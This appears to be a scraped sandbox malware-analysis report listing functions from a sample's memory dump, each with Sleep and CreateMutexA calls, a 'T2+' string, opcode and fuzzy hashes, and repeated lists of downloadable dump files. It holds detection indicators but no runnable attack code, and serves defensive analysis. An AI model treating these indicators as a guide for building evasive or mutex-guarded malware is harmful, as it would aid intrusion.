Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 5f3e4cc48abc2f0cf5e2e88f291034be2ccb6db955f972aec4faa9ec0f183096
Instruction ID: 6c790c2afda80f3b4536bc96c191146cc46ad7b224753011bbeb18c06a6ac0ea
Opcode Fuzzy Hash: 5f3e4cc48abc2f0cf5e2e88f291034be2ccb6db955f972aec4faa9ec0f183096
Instruction Fuzzy Hash: B4316E31B301009BEB08EBB8DC8E76DB766DFC1315F208319E814973D5D7B559A4876A

Function 0025A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 821e632fd43a914837c300a59d23a2aa43daa676969c1a41eda5226c223b32a3
Instruction ID: dba5da65f063e4f504f6b1a2a70560d2d6b616dd8cc64449b812f1d07bc1a3c4
Opcode Fuzzy Hash: 821e632fd43a914837c300a59d23a2aa43daa676969c1a41eda5226c223b32a3
Instruction Fuzzy Hash: 82317B31B201008BEB08DF78DCCAB6DB766EFC5319F248319E814972D5D77599A8871A

Function 0025A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 3e1faf8c353b53f5cf791b9438bf8abe6309239fb7c79ee7e6d054dfbfe0fa9b
Instruction ID: 248a2591be98206e7078d1e32daaab5c2acedd0efef894b7594d92fd33c7bebb
Opcode Fuzzy Hash: 3e1faf8c353b53f5cf791b9438bf8abe6309239fb7c79ee7e6d054dfbfe0fa9b
Instruction Fuzzy Hash: 3E317931B202008BEB08DF78DC8A76DF776EFC5315F248319E814972D5C77599A8876A

Function 00259ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: beafdbc374a3cef8e452daa9810b4da3fd77f74e8e7b66452320cc7337f64c55
Instruction ID: f0763d34c0500a8d3ab43cdd1a4b6a78ed38c10c6fac6aef7cb710ee0d9341f1
Opcode Fuzzy Hash: beafdbc374a3cef8e452daa9810b4da3fd77f74e8e7b66452320cc7337f64c55
Instruction Fuzzy Hash: 0521AC31724200CBFB08DF28EC8A76CB366EFC1305F204319EC04972D5C7755AA48716

Function 0025A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2+
API String ID: 1464230837-3577279055
Opcode ID: 3875212cb8c68b20d11432d907469abd58fbba167c8b33a7a5a9602d303e4c47
Instruction ID: 7fdd3521699de00621e08d89ce8746ee0fd21eb419b84663e54f1c9f73ae3eb1
Opcode Fuzzy Hash: 3875212cb8c68b20d11432d907469abd58fbba167c8b33a7a5a9602d303e4c47
Instruction Fuzzy Hash: B92172312B51018BFB14AB78985F73D7351DF81302F244A16ED05D63C1CB7659B8455B

Function 0025A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
